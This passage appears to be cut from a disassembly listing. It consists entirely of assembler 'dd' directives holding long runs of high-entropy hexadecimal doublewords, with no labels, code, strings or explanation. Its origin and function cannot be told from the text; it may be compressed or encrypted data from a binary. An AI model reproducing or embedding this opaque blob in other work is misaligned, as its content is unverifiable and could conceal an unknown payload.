0EC08C4h, 0E6E32CE0h, 61C66A1Eh, 0AA5EE11Eh, 38FD6F80h dd 3C78DD1Ah, 0E4BC0B21h, 6380FAB1h, 77C45BC9h, 0BCC1C82Ah dd 0EE9CB500h, 5AA37BAEh, 0B0AA009Ah, 0DCBE4F66h, 1903B2C5h dd 0AB1F73D0h, 6348F20Ch, 573988D8h, 9AC40A5Bh, 98FDDDh dd 8C15D767h, 63903598h, 6B728D01h, 0D2C3A0C6h, 94FFD421h dd 0F1DC88E1h, 95CD06AAh, 889DAC96h, 44AD1200h, 9F0911FDh dd 14EC00FBh, 0A14132AAh, 0D877E6FFh, 84EC1C4Ch, 0C510D79Fh dd 41C1CC00h, 7092C2DDh, 4C00C496h, 0FEC5F63Ch, 778A6E0h dd 0E38172FCh, 0DC7E4263h, 0B883E0BEh, 10571FF8h, 6AFDC1Ch dd 43E42D83h, 5C512E60h, 8FC900CEh, 0D2D68E4Bh, 4818BFEDh dd 0D50800F4h, 0E13C0118h, 4ED5850h, 0CFAF9600h, 0FA6A66B4h dd 0BC105317h, 0A9802844h, 6FAF6580h, 0F12F0073h, 0E235BE72h dd 0C6037661h, 4268EE9Eh, 0F088B3Ch, 637825D8h, 0F8A118DDh dd 0C52AAD4Bh, 353A447Fh, 406A21Eh, 42DFBF7Ah, 188462h dd 73EEFEA8h, 70688D4h, 0CBF24AE0h, 17DE0338h, 338821Fh dd 0D69642A8h, 0DBA30900h, 0C4708184h, 21F40085h, 8002B353h dd 8A0BCFE2h, 0FB9C74Ah, 0C0BCAFC8h, 8DD95BAh, 0E672E1h dd 0A3C9B0C0h, 0FAB8B364h, 6751B213h, 0C6FE8C30h, 0E24324EAh dd 496C00B0h, 12944E1h, 93CD7100h, 0C57E8854h, 0E5E00F31h dd 4E4048B8h, 959E5B2Ch, 10281C03h, 3799473h, 9DF00829h dd 507DE13Fh, 0E4639000h, 80361F64h, 20EC00F2h, 0FBF0CD5Eh dd 173DE12Dh, 0FF7707CBh, 9F9509C0h, 40BF1880h, 0EF820042h dd 0E612FC27h, 104FB7Ah, 959CA16Dh, 3DA3D50Fh, 6BC81DB7h dd 59205C81h, 1F967A60h, 662730D0h, 0B98F381Dh, 20E9DB8Fh dd 0B7A024AEh, 0C36908EEh, 28CF3402h, 61C097E0h, 0FBDCB450h dd 70F30179h, 217E62F2h, 398840CAh, 3D002F69h, 0A6E5F85Dh dd 7EECEF20h, 3E400A5h, 4B08865Ch, 0E700292Fh, 24678E09h dd 2BC1Dh, 0D878E282h, 9390791Ah, 0BFCA550Ch, 0ECEA12h dd 2FD4C5FBh, 0A779B5FDh, 0BAF0EB07h, 0AED002B6h, 77530DD2h dd 64CB0027h, 0F64136EFh, 0F4287E2Ah, 0DE00EABBh, 0F8F537CDh dd 78C87F85h, 0EC7607EFh, 702C9B1Bh, 6D640216h, 9F2EE902h dd 0C87B5F28h, 2767B628h, 18A7FD96h, 8FAE209Dh, 20E9810Ch dd 30036BF8h, 41FFA605h, 0C1D8C8A5h, 1B970036h, 1ACC8309h dd 0E100A78Fh, 9876CB60h, 370A274h, 0B53CA516h, 681385C7h dd 0F4206194h, 0A8AC7E2Dh, 69A2C4h, 0D7C85A26h, 0F9A17F45h dd 87D63424h, 0DC80F500h, 72FB61A7h, 1EA260Fh, 0FF6240B4h dd 46497F43h, 925F3CA8h, 78470E96h, 44102BCCh, 0D05502Eh dd 0AF806075h, 0F001FB88h, 0F7C1C319h, 0EFD06258h, 0EA2B0BBEh dd 1C00DC0Dh, 545D5371h, 0EE00E09Eh, 786C65C8h, 7CCBADFh dd 432F70B9h, 0C02FB2Ch, 4C00A20h, 0DD880F10h, 0A6750080h dd 0F4924C40h, 0B65C3D46h, 329C81ECh, 41806796h, 0F2845FA0h dd 0EC170EFEh, 0BC80DA24h, 0D27863h, 43AE9881h, 0C15BE2A6h dd 386BA0B1h, 1C65414Ch, 802FB76Dh, 8C8F083Bh, 68006EC3h dd 5EC0C875h, 15A5042Ah, 0A83A39E0h, 2F80D03Eh, 4193B148h dd 0A40EC48Eh, 153892Ah, 0DCC9DD0Eh, 0FA006863h, 0C3744109h dd 3E0AA8E9h, 0D3BA1B28h, 80EE2C01h, 0AC40FA43h, 294E50Eh dd 0F00B5B45h, 64E08AACh, 938385A4h, 43C109A2h, 9CA016D5h dd 556B781h, 800E09Bh, 61E7532Bh, 0F8792483h, 0ED96801Ch dd 334EE5B8h, 0A998A560h, 0E820E83h, 83DC6CDh, 0C77357C0h dd 714C7AD4h, 0B9B101F5h, 34936306h, 45C4F2EDh, 0D3FF3D65h dd 5136A585h, 40D01DCDh, 9DE3613Bh, 3017B22Fh, 4D00ACF5h dd 0F0472759h, 46D4E3D1h, 0E47600CCh, 0A1340308h, 833AA81Ch dd 6B54803Ch, 5AF44C04h, 3A050043h, 0F559DA81h, 4F01BCFFh dd 9527296Ch, 0A020D49Ch, 401C00C2h, 76FBB90Bh, 63A4846h dd 0CE5C1613h, 848F7840h, 702CAF8Ch, 210926Eh, 58045B33h dd 3B60A92Dh, 0B0A0CE47h, 4100BC0Bh, 2CABFC21h, 0DD8D34h dd 8B861152h, 0B718AE20h, 0D1FE9903h, 0D1F2EA8Eh, 0D8F02EBFh dd 0DF10007Ch, 9F1175B1h, 0BB076245h, 65FCE1A5h, 4356810h dd 64A100A3h, 0E9CD26A4h, 4C00E063h, 0B4E80247h, 0FAA6213Dh dd 1E0A000Eh, 0D73AA4EDh, 5D01C994h, 997D9CC6h, 5020EB13h dd 4ABC001Bh, 33E8389Bh, 0FE0FC6F5h, 52C94D3Ah, 44F61000h dd 48E3CADFh, 0CD0024D4h, 0FEB9D777h, 0A2009D90h, 0F7A4E0F6h dd 0F4BA93h, 722F66A1h, 1C171EA0h, 814B5507h, 64309939h dd 15ED0Fh, 0E30286B4h, 1ECA16C5h, 248710B1h, 71F0FDDEh dd 7A88BBC8h, 0AEF90934h, 800A00Eh, 0C133085Eh, 20008092h dd 78C29496h, 7BDD87Bh, 22D35669h, 0BFF55073h, 8C0021A2h dd 53F9BBBCh, 17B07AFFh, 178B5B3Bh, 9964C144h, 0D4CBE50Fh dd 450067E3h, 0D07CFC4h, 0EE84FCh, 0CE6AC078h, 6FDBBC55h dd 0BDAFCD3Eh, 695F00BBh, 4E342EF9h, 5DD9004Fh, 0CD3AF139h dd 0F8A0FB0Ch, 3300B27Dh, 0BF624BB0h, 0D0FF79h, 0A4F94F23h dd 487BAFEh, 0EDB85900h, 7B81681Dh, 0C42A0002h, 6EEC6CBFh dd 410022B7h, 0FAD04FC7h, 12CD4B33h, 1DF59981h, 7BEC524h dd 0E64C8041h, 50386603h, 0F1EC0760h, 0E3B02155h, 0F0AD2A9h dd 0E16156BBh, 506972A0h, 226719B5h, 88C06520h, 3F66BC3h dd 9026952Bh, 800A844h, 0E80DC431h, 2860C7h, 94A083B1h dd 0B6E3FD5Fh, 433D7500h, 6E5BAF41h, 0FEC1FBEh, 0C960750h dd 0C81BB007h, 78F4FC57h, 92950300h, 43E4E358h, 0F168C223h dd 1DE0944Fh, 0A35CD3E5h, 92880034h, 34AC10F7h, 50E81F9Bh dd 8C4C78BEh, 0EE823300h, 5C90672h, 0CA105F00h, 0D0BF534Ah dd 0CC8700CDh, 0B63FC7AFh, 7807A2E7h, 7A11EE83h, 8690C1B0h dd 75FF02AEh, 0B338A842h, 2600FCF8h, 0DB6BECC8h, 7EE98Dh dd 6246A2D9h, 9325D061h, 9A061100h, 0F430102Dh, 0A913052Eh dd 729069h, 7ED4D98Fh, 28F8603Dh, 0B84941FEh, 3C120058h dd 769D006h, 9A23098Bh, 7380CBE1h, 0F0142959h, 58012D4Eh dd 0F443CF52h, 1931878h, 9254B23Ah, 230880D9h, 0F71DE045h dd 7DFF1268h, 46D000Fh, 16C21FA2h, 0AD271107h, 96C0BF49h dd 0C35A23A7h, 6C1EB90h, 0DC24C8E8h, 0D3175D1Eh, 4BFA1180h dd 40D071h, 23AEF661h, 560CF207h, 9604C400h, 877A2FF1h dd 2BE001Bh, 0F5D18266h, 0BD17E9B4h, 88008AAEh, 1F9ED8ADh dd 0EC9B003Dh, 0D5038E29h, 0BA0BA225h, 1279A26h, 850F2AE3h dd 77191BD8h, 50206CBh, 8019093h, 80ABB938h, 0A3DB3C3h dd 1DEBCB40h, 0C846DFh, 0D9033AA3h, 30010C79h, 0C4D6BC4Ah dd 0FC2CFBB8h, 67C2F309h dd 260CB680h, 30F3560h, 604ED613h, 8A5FAABh, 0F02432B4h dd 944817FEh, 0A10020FCh, 80CF46F3h, 5838B523h, 5C74A0E7h dd 0E300DDEFh, 0E9E6C381h, 24BC9214h, 9FEDBD00h, 0E6FE1D1Ch dd 8CBA0095h, 69F00678h, 0D63B3DA5h, 0B6AC9CA4h, 112B803Eh dd 235EC5E1h, 0EE507FEDh, 4BA20048h, 832028A9h, 90191A4h dd 0F3571C84h, 5C8E929h, 4E5D48h, 1E8F257Ch, 0F52F88A0h dd 620E9E76h, 81E06F92h, 0C9358F31h, 0CF492189h, 8179705Ah dd 2A9F2900h, 43A328BBh, 7EC50F96h, 9C0514B3h, 0E770E4CFh dd 69426C0Eh, 0A393C177h, 48202B31h, 58B20082h, 27D02685h dd 0BA05F450h, 0EFC924C1h, 0C4D9ACE5h, 0CDB42440h, 12B91D73h dd 76B50CCCh, 64004A50h, 13F4FA29h, 408E30h, 0D68FCAC3h dd 0E5B40428h, 0AA0A24B4h, 0AD18D060h, 9DB5CC1h, 0CB293304h dd 0D4827803h, 80550825h, 4973C24h, 0C7A7035Eh, 9E220816h dd 274DE017h, 6CC66447h, 6FBB3540h, 3B1E00D8h, 0E710BAD3h dd 8004175h, 296E9440h, 0FC63AAh, 9CA4F588h, 6F4AFEC0h dd 4B9BE700h, 4812A18Bh, 48FD754Fh, 7C8004F1h, 0C08F3443h dd 0C8E99E03h, 0A1EB4EC9h, 208002B1h, 9136A7D2h, 0EC002450h dd 979A7057h, 0CC93761h, 8AB5D680h, 0DFFA0DC9h, 0EC047901h dd 5FC3F930h, 1F7491E4h, 0A909DA3h, 80F0FB2Fh, 0D34CC9B8h dd 72185F4Dh, 0AE19D118h, 149D07D5h, 0C0935532h, 61A5AB46h dd 0E0B84164h, 9C344E60h, 0C7A6C121h, 0B036C7CFh, 0F0C5C622h dd 0C4F2E200h, 7704F80Ah, 1471C0E1h, 2C2F252Ah, 0DC28900h dd 3108C8Dh, 8574FFh, 0E56D6C31h, 0FADC422Dh, 0F7E41618h dd 0C2A781h, 0AC2A0147h, 0B08C63E1h, 0C8AAED0Fh, 0FA98A288h dd 0FC0849B3h, 9E6E3EAh, 0FD5E6808h, 0C9690C23h, 22220C89h dd 9DF3003Ch, 7D78954Fh, 0C9CAE057h, 420C609h, 0AB4FB8D3h dd 0B45D8C00h, 49B7DB88h, 2A8D3D9Fh, 0BE75048Ch, 123197D9h dd 6AAF69FAh, 2CBB4630h, 0F3CCAE1h, 2B209C4Ah, 0FCB0C7F0h dd 0C0EB88C8h, 78A64FC0h, 6A589521h, 0EF4F00A0h, 1718B19Bh dd 5BDCAF00h, 0A4EAF605h, 510F1C92h, 0C829C22Fh, 8845A87Eh dd 88DC0AEBh, 0F39F8960h, 164400A3h, 12D5EB17h, 0FC90C91Bh dd 404EAB00h, 78EFF5FFh, 0AF843EE1h, 0C9CB7A09h, 60AEC024h dd 23ED049Dh, 5F11DB29h, 4C95601h, 50D62881h, 0C28BD080h dd 0C0136103h, 882FB022h, 5ADF202h, 9C86F9E4h, 21F7C39Ah dd 6BFE039h, 0F501161Eh, 63131F41h, 98607A07h, 0AD350DF7h dd 0EAF5FB00h, 2605D9B7h, 0DF672928h, 80CA1190h, 2AE10559h dd 66608C7Bh, 49542B1h, 2DEC007Dh, 34352A2Eh, 0FD7E4ACBh dd 80F06D51h, 0C8BC2710h, 0CAE218h, 0F205813h, 0E423A026h dd 407B4F2Dh, 0AD010Eh, 0DAE655FFh, 40529E2Ah, 83179600h dd 0D368581Bh, 0B86B0065h, 9267EE87h, 3000F425h, 5B7EB3F2h dd 1957D71h, 0F59ECDC9h, 60982B4Bh, 4A01F67Dh, 62B2E5B8h dd 0F70A88Fh, 970100D9h, 81C743CEh, 0DF0002DDh, 9B69B1E2h dd 0D1A62Eh, 0B262F136h, 480D5723h, 0AB160800h, 0D06492E3h dd 0C2E8E2h, 0EA944A60h, 0C4E5F31Eh, 0A68F3000h, 23394676h dd 536B0067h, 0A261204Ch, 0FE07152Bh, 6016DEA0h, 0B8A36583h dd 7BB7AEC2h, 27F61F81h, 311AD85Dh, 0A000D8F7h, 0BB9483FBh dd 7C5B0B6Dh, 7491E062h, 0D5450067h, 0AAAC2C66h, 0C91CA755h dd 6A8064C0h, 58A17FD7h, 259B016Eh, 55205119h, 0BB68FD1Dh dd 873B8638h, 0FE490EEFh, 13B53981h, 6827BE00h, 9664D5E5h dd 21DC8FE8h, 2513FE40h, 0EDE9291h, 4FEBE8DCh, 7F48CBA0h dd 303D1E3Fh, 3042B10Fh, 0F8206BBEh, 0E8DEEEh, 0EACD6880h dd 3319219Dh, 0CE09E776h, 0F0E0218Eh, 3250EFC0h, 0C62CAAB1h dd 670CA3DCh, 7A2054h, 11A8E2C4h, 22BF7CBCh, 0C9D72F00h dd 2CB88D58h, 777330B2h, 694C7B08h, 6154C407h, 9213BC7Ah dd 63000B5h, 0C97E6689h, 0F78C6D3h, 610398EEh, 0A8641BBEh dd 0B9E80AA3h, 1C03711h, 69DF8124h, 942CA223h, 5DE42800h dd 0DD03F08Bh, 0C5170E53h, 0B18FB593h, 99F2C1C6h, 0F7C4D160h dd 545BC843h, 737E827h, 0CA127440h, 0D533600Ch, 0B1F2CCA0h dd 0F5946500h, 0C2AAB824h, 9ADB00BEh, 2EEFDFC5h, 1D00FF55h dd 902DD9E7h, 949CC32h, 0E3128EB4h, 10D03D87h, 0A0A2784Ah dd 0B28ADA00h, 0F9DB5A24h, 3E931E3Bh, 4E8B82CCh, 5CC0552Ah dd 5A012546h, 50F3EE62h, 204ECBF1h, 4D487408h, 0C0EEFE67h dd 372F6322h, 1A67027h, 0BC6FC96Ah, 40ECBDE4h, 0DAA472B4h dd 20266801h, 0E0873C5Ah, 0B8013426h, 0FBF8E13h, 0A89D0C96h dd 0C00503C0h, 0FE532220h, 7838A8DEh, 0DA44832Ch, 0E87DB3B4h dd 7701755h, 0BA502425h, 0B04A0Bh, 5C9BEA82h, 2A1F363Fh dd 871073Dh, 208049BEh, 239BB2E2h, 58E4F721h, 641C6200h dd 204A88E1h, 0F976DAh, 0A8CC3CF3h, 0D27DE937h, 8D54A40Ah dd 2581E0FFh, 2E6C72AAh, 0B4621180h, 1AC713E2h, 0E07612E6h dd 67364000h, 0F7C5CCF8h, 28193B2Ch, 2261A412h, 6930038Ch dd 9DB5119Eh, 31C18C39h, 0CE03091Bh, 73003D8Fh, 754FB51h dd 2021BD32h, 464FDh, 0AE4F9618h, 7E3EBA49h, 9F0AE300h dd 7EEC8B8h, 6A3C2A44h, 0D95F00C0h, 0EC9E8442h, 0BE0306A0h dd 0F9CBF4D5h, 0EA4198A3h, 335768Ch, 5783CC59h, 31ED60BEh dd 503A9FE8h, 4D01AA8h, 0D2402E3Fh, 0CEF41C8h, 9B38EBC8h dd 8DE23FBh, 79002276h, 0C4EF9BC7h, 1E8E84Eh, 6E8B8559h dd 494592CEh, 0B906D7D0h, 0A38C060Ch, 6D484A0h, 55BDB7F8h dd 0A1055044h, 776BBF3Eh, 0CD5DB060h, 199D23B1h, 1784B08h dd 0FCCEB627h, 30589BCAh, 0A03382F9h, 700E3FACh, 227E006Ch dd 0EB8DDA47h, 2B003C0Ah, 0ACC84D30h, 0A1233669h, 4F18FDECh dd 9DC7CD0Fh, 48CCD069h, 0F10FAD79h, 2008E1CEh, 0E2078E77h dd 2C2D0463h, 0AC8BDAE0h, 604D028Ah, 0C8E75E6Bh, 152C518h dd 5171BA20h, 0F4233A19h, 0B03ED1ACh, 0DFCA9896h, 2549029h dd 178FB310h, 944526C7h, 1822F1E2h, 370A7B34h, 0F8CF9F6Eh dd 73632980h, 0B465EBh, 90AB95F1h, 721A3401h, 0DC27ED1Eh dd 37E65F80h, 26D4B323h, 808B7h, 1892D5DDh, 2400C40Dh dd 5A48D302h, 1E8A9179h, 0CE976138h, 64E18DD0h, 0F8740DE5h dd 7B00EC11h, 0BA2FC125h, 0B0477EA1h, 0ABE500A8h, 90A4028Bh dd 4309CBB4h, 0B0DD873Ah, 11153B30h, 8CD7BEA3h, 14222142h dd 0E9821F94h, 406AFB16h, 72EBD530h, 4800CC76h, 9AEA35B1h dd 0F2C6BB71h, 0DB2F19FEh, 229E4158h, 742E0080h, 59998EF0h dd 0CED8021Ah, 278C391Bh, 75A19460h, 1E43CC00h, 0C47B5906h dd 6D22132Eh, 8EC6F9Bh, 8823EBDEh, 84D4651Ch, 0EC934D20h dd 121682C0h, 4CB9D15Fh, 0B6A18F00h, 865CD79Dh, 93F244h dd 51D1A7E9h, 0BA8ED0D9h, 0A37F6300h, 30AF88E0h, 5BFB2A9Dh dd 0E4531C98h, 5D5C8068h, 3B2BCEB0h, 32E72118h, 7950AE21h dd 0B60B286Ah, 49059E8h, 365450h, 6956BEF2h, 751A464Ah dd 2F6E720Bh, 0C9AC07FEh, 2749841Eh, 25416C80h, 46B704E5h dd 91ED9AC4h, 0ECCEE7C4h, 320C18BEh, 1903BD27h, 0A8C5F869h dd 0C04F5AE4h, 0F6BF08D9h, 6900240Ch, 0B3DA5BE3h, 9901EA3Fh dd 0F6F0FE0h, 0D5772840h, 17034F65h, 0A11BF025h, 0F70EC884h dd 0D8EE4CC5h, 0FD7040h, 0E225930Dh, 0A6E06E26h, 1E0B9971h dd 91A8D203h, 2C23402Ch dd 5B3E8C00h, 96BF2F09h, 86FDD00h, 0DCEA599Dh, 0D2B615EDh dd 0CB0E70A3h, 2E4090B5h, 0ADEEAA54h, 39493860h, 88405Ch dd 0E9BBF385h, 0C6FE1186h, 8EAD8300h, 642CC581h, 963E28ACh dd 172B38DDh, 0CF9B93h, 50DF85FDh, 4212D8B6h, 94401805h dd 0CB3C538Ah, 0BAC503BCh, 3BAD894Ah, 0F767100h, 52E16E57h dd 0F2704Bh, 2B538FE5h, 0AD5973ECh, 0B6BD3C00h, 25A8C528h dd 2A1C00D4h, 0BC696D5h, 0BA035DB2h, 3C2BADDBh, 3633E069h dd 28DF3Fh, 0DE2E83E7h, 8E68EFCh, 0F9EEC401h, 0FAE67B05h dd 4780A4DFh, 0BBDB83h, 42172291h, 65250BF7h, 6E3E371Fh dd 0FF3AA440h, 0CBB5A7h, 64912611h, 0EB50E731h, 0B68D7F00h dd 0E519C221h, 0CE220045h, 7B25DD84h, 0E1079B43h, 2487A43Bh dd 0A7F1D410h, 6AB43F9Eh, 0C7AACF00h, 385A90AEh, 0E0B0F70Fh dd 0E9AF803Fh, 7A53DE94h, 0B1FC3E18h, 2C28D506h, 0F60018DAh dd 98AE477Fh, 0E4174682h, 0FC20C19Ah, 0F4DE951Fh, 51E6449Bh dd 0B0739D06h, 3B109EC2h, 0A087A90Fh, 0F39084F6h, 8798F4Ch dd 198C31C0h, 0F2C340Ah, 0C01CD3A3h, 0BD0BEA80h, 1463EEFDh dd 0C6099FA0h, 0DCA70030h, 6F91BA0Ah, 0BC00F838h, 24CCB5A1h dd 7B7E77h, 3398CBC1h, 0EA9F290Fh, 0C80A5600h, 48D4A34Fh dd 0C6FA4Ch, 6B94DDCBh, 0EB8B2B35h, 3D1C9E26h, 47889300h dd 0AA61FAh, 7E801360h, 339EDCE7h, 0D7657A03h, 0EB07F562h dd 0F6BDB096h, 0CDD32404h, 6C8430A8h, 320195A3h, 68987638h dd 0D8F31A64h, 4C082F97h, 1407277Ah, 699A7C51h, 0C1204907h dd 0C89D4513h, 24F0D23Eh, 5B39A800h, 1A6C46B2h, 0A48C00F3h dd 9316371Ch, 5E3084D3h, 0B8DA5078h, 53501F19h, 6CDD4060h dd 6FD1E359h, 0F324850Ah, 1C01CCC2h, 1B4219Dh, 0F94CCECCh dd 1F78F9F4h, 0FFB4D53h, 9F00D9BCh, 7279CFE5h, 0A18BD100h dd 0A59CF337h, 0EB30075Ch, 0E361B4C9h, 0BFE14DDEh, 70F0B2ABh dd 3704981Dh, 3BFE0725h, 54CEAFh, 0BECCE19Ah, 8084D8CFh dd 5C17D19Dh, 0D9F30022h, 4F72F12Bh, 0AF038188h, 0E44A7C62h dd 3073A6h, 35686469h, 0EDEBEA6Ch, 2FBC7D00h, 2AFCCDB5h dd 55177453h, 71D428B8h, 1B19CAFEh, 70D211C0h, 51601D76h dd 440CD4A9h, 60A6A2h, 8E49CD1Fh, 86BF848Ah, 5B3FD11Bh dd 35298858h, 9000825Ch, 0B54A31DFh, 0D4AAA92Ch, 2B8CCD06h dd 15C0EE79h, 7C9D4E6Ch, 0D84622Bh, 0E3796D58h, 0B03F4A90h dd 118418D0h, 9A0082A3h, 21FB7D59h, 530AA224h, 486DD179h dd 8A8346B8h, 49009F69h, 3989A0A6h, 0F3236Ch, 225DC255h dd 37B99216h, 2EBA406h, 3FA9B2C4h, 4EA833E7h, 0B8C20018h dd 83EBD668h, 22AE2BFh, 0E61BD434h, 0C939FB4Ah, 0CB4785D0h dd 0B1D16410h, 0C3CCA016h, 0F4443063h, 0EAB3A011h, 0A92C2FB0h dd 1B155A2Ch, 0C73ABCh, 8FB8A13Ah, 707B4EAh, 9AD6295h dd 0DC4D8164h, 0A3B2EC55h, 14EBA90Bh, 13A183DAh, 4A4EE029h dd 0B4451A73h, 0DC0269F5h, 0D90059E6h, 0ADAB8DDh, 0A9B6B0CDh dd 0EA784DA0h, 0F2B450C0h, 0E0010092h, 915458D4h, 78F45FFCh dd 0A063600Bh, 4180B4CAh, 57E9B71Eh, 0E3212405h, 23668444h dd 1A4EC081h, 12ABDAD0h, 18A70D17h, 5DF560CDh, 0AFA0B640h dd 343E9040h, 403268ACh, 6BA900C5h, 0A0DFC62Fh, 82C1F51Eh dd 0D96C4021h, 323AC824h, 8A212AF6h, 0E51054ACh, 1ABC2250h dd 28F7FE88h, 4DDD2131h, 4C7E60EDh, 0FA0F50A2h, 0B158D173h dd 0ADECF9E7h, 7310E94Dh, 1A1F0CA8h, 59B22184h, 83F5BB09h dd 681F6628h, 5F04A0C9h, 240E98D4h, 76CA4E5h, 0D5478478h dd 0F9248713h, 8E29E00Ch, 3962D137h, 65201ACEh, 0A59101A8h dd 80C81F1Ch, 3EF96C41h, 6016E9Dh, 0DAEA4A5Bh, 864908B7h dd 332F0EC8h, 9EBE019Dh, 98EF6549h, 637B6875h, 0AF7861FEh dd 0B0BAA900h, 6415FB2Bh, 778B3E9Dh, 0EA5B380h, 75B233CFh dd 0FF5EA601h, 209F9CA3h, 173D4181h, 0C1861210h, 8CAED16Fh dd 20A39709h, 406075Dh, 16DAD0Bh, 80FC7B0Fh, 13B82B71h dd 160D23Fh, 0E8F8A2E4h, 22468479h, 6A2417D8h, 0C1A25432h dd 4FD57B30h, 0C0D52180h, 42CFAD44h, 745F5C00h, 64A7A4B4h dd 20EE01BBh, 799AB5B2h, 8D6C7045h, 3A692309h, 3F0C80E0h dd 0C3C016h, 8FED5B7Dh, 0C2E5DB70h, 4FAE830Ah, 3180B078h dd 0F06E44F9h, 84E898EEh, 4A3913ACh, 408C132Eh, 0A2C787F0h dd 0B600B216h, 14213844h, 1EA6E26Ah, 0C2617F17h, 7B5403E6h dd 0A0030C44h, 1CF9D8B2h, 82CB25h, 41C4C059h, 4A470A0Eh dd 0B750EC17h, 5A1E9C30h, 5BBE2A6Ch, 0D8C0080h, 9EEA69DDh dd 0DF1DFCE8h, 5D18EBB6h, 5CD0F21h, 9A364CE0h, 6568C01Bh dd 5124D5DFh, 215E2497h, 9A821D5Ch, 41DB11A2h, 8112E5Ch dd 0FDCC4041h, 0C93C1A3h, 4F100201h, 8185879h, 3E217688h dd 0CF009DD6h, 0E344952Bh, 9A24029Bh, 20020A49h, 0A081CB15h dd 52F022B0h, 0C09700C5h, 1EF7B98Fh, 0C91287BAh, 0B8207C84h dd 3D2396Eh, 0E4F32D6Ah, 0BBE0930Ch, 625084E6h, 76008F4Ch dd 99ED4E61h, 433C5BEh, 803B54E5h, 0D748058h, 0A20DD449h dd 596A8A8Fh, 0C221B7CCh, 7B387D41h, 36145846h, 82AC5E19h dd 48D6A43Ah, 60CED260h, 7FEB4057h, 140FF790h, 182E7B3Ah dd 70EDC219h, 586A03DBh, 0A3B9BCB7h, 15FEF100h, 0FB2914B8h dd 0DF7B07BFh, 400C75DBh, 0AE475025h, 0C01D9A00h, 328BEEDh dd 1D407DA3h, 4296F5BFh, 0A3D544Fh, 0CBE8F4AFh, 5A9D6A60h dd 67FB1001h, 1B8984DEh, 9D3F3B00h, 0F812C1F7h, 98602241h dd 9255D099h, 9606808h, 5D803BB0h, 4F0890D7h, 0F10FD349h dd 0AE694B6Dh, 0A0598F0Fh, 0CF93C17h, 1E9612AAh, 0F2840815h dd 8B6234ACh, 367E8Fh, 0B16624ABh, 8E547EBFh, 0F6FC20CCh dd 0AC941009h, 3A64685Fh, 3C969Dh, 0F9F2811Dh, 0B0DD8473h dd 30C6A349h, 11041948h, 881086C8h, 186780B3h, 69920305h dd 1A003590h, 94071195h, 0A98F86h, 643F7A7Bh, 0EDCCC8D3h dd 1425DD00h, 0EBD1795Dh, 0F33712A0h, 9F5821C7h, 7405D8AAh dd 29D1E200h, 0B1905A34h, 176610B6h, 0D4980A5Eh, 2480BCFDh dd 62850631h, 0D6B1C018h, 5EFFBE25h, 3F226000h, 6F191D02h dd 117B47h, 5920A48Ch, 8EC87CA7h, 388F0C07h, 5164A86Bh dd 1CE6F0A0h, 80924614h, 60C3947Fh, 430C0158h, 0A9BEB913h dd 897007F4h, 0F0B077F0h, 0ED41E45Ch, 3BBE601h, 81AF2116h dd 78A11F0h, 36C46AF1h, 0FBECB19Eh, 20C3E120h, 19017668h dd 0B2DCABBFh, 0C1801C62h, 91AC8B6Fh, 92F6AF80h, 0ECE25B26h dd 3828C540h, 2ED4A0B8h, 51683A98h, 0DCA0FF40h, 0EB7DC31Eh dd 7CFB3326h, 0A1004C24h, 20804A12h, 58BC18A6h, 0CFF58D5h dd 6CF4C71Bh, 0C62788D0h, 0A1A3712Eh, 72FC6EC8h, 1FEC1EA6h dd 0F4C10320h, 49041315h, 9053F508h, 38C72480h, 2A1F1575h dd 1711874h, 19F7ED2Bh, 28C036FDh, 0FF07776Ch, 7B18A0BEh dd 0FEE5D30h, 0A77900EDh, 0C04372DEh, 0C9137C50h, 0A8806089h dd 58673B91h, 0E7507E7h, 0F4A5A91Fh, 4F51C4E0h, 29615350h dd 4DF68BB8h, 0C1DA3700h, 9CF70C28h, 7AAD5E44h, 679130BFh dd 0BB586C11h, 14E94080h, 0C06063F4h, 15188D80h, 0AE248BE4h dd 704034D5h, 2255218Fh, 0C5392E52h, 6451EFD3h, 4CC04B0Ch dd 71C03D6Bh, 8A8E02CBh, 0AF52334h, 85DDE080h, 30064A4h dd 0AA278D4Fh, 5573287h dd 567B4951h, 0C0AF00C4h, 5A0FA28Bh, 8AEACD03h, 90ADA6DBh dd 0B8CF4557h, 19CC1E89h, 0C5C934E5h, 0BBC0CBB8h, 0F24D3680h dd 111F66E8h, 3D025A87h, 6022512Ch, 0C6D3D8h, 5CE165DFh dd 66FC1638h, 0F4FF7000h, 0E08654ECh, 8728C420h, 192142D8h dd 189C0317h, 991504F4h, 40DA4B44h, 0FB50C189h, 72284266h dd 443FA544h, 37442CDBh, 0B33CA074h, 832F40E8h, 62C411E5h dd 84FEA011h, 252EE929h, 0C64370Ah, 0C295798h, 247464A8h dd 3C417B81h, 1811A927h, 0EA1840Ch, 6F0C2369h, 0CF003651h dd 34B4182Dh, 0B8AA210Fh, 9B010737h, 20E0BB8Dh, 0B491AD41h dd 4A44ED00h, 964F88E2h, 3A8C0072h, 0EF25470h, 4800314Dh dd 60906338h, 88159h, 0E3D91052h, 0F60AA153h, 0CCCA8400h dd 3B0DB8EAh, 31F500E9h, 4B8BDF12h, 0F032636h, 58B3FF3Eh dd 96B1F852h, 0B9011ED6h, 55A800FEh, 90B5361Ch, 6BF3C300h dd 0CBEF41C1h, 0A54A003Dh, 78543AC5h, 9A0082C7h, 0AC382661h dd 0B15832h, 44A20BEh, 8CF9BF41h, 0D300A09Ah, 68217334h dd 0CDCC15h, 12D0E992h, 31FEA2A3h, 17FBD500h, 0EB80EFBFh dd 0AFAA3AE7h, 1244A900h, 0C896D30Bh, 0B301C300h, 86EDA684h dd 6FAB0421h, 80DAF59Bh, 905E0704h, 985BD706h, 10E04Fh dd 0DA76EDD0h, 582270ADh, 0B299760h, 0DB9E75h, 819CD8A3h dd 0A90531D6h, 0D3026170h, 42B455A0h, 6EC800Dh, 0FF2B5Eh dd 1C6DCDC3h, 0B63701C4h, 0C009D22Ch, 0DB879E80h, 7672C85h dd 307B0BB4h, 0F157706Ch, 0E11CBFE7h, 20C0FC2Fh, 1CE8F061h dd 0E69F1393h, 8100ABDEh, 2D077208h, 7B9439A7h, 54856D00h dd 0BF8D28FFh, 447C8F00h, 74AE9E0Ch, 91772C59h, 87B80002h dd 92A303E0h, 3E6BDD07h, 9D404149h, 0B65030h, 6ABB7F29h dd 35F83A66h, 0FE242B00h, 0D0B543D4h, 0C4A80FE8h, 245F4412h dd 69D0E6Fh, 43CFCB60h, 6B00373Eh, 0E3628D67h, 7A5A28h dd 0F8F709E6h, 2C486AADh, 45522900h, 0D51A21E4h, 8A03070Bh dd 70957F60h, 6D2A0A01h, 54D2C1A0h, 0E0EEDC00h, 5236CDC0h dd 66D600F6h, 3FD5AFA1h, 0E3005395h, 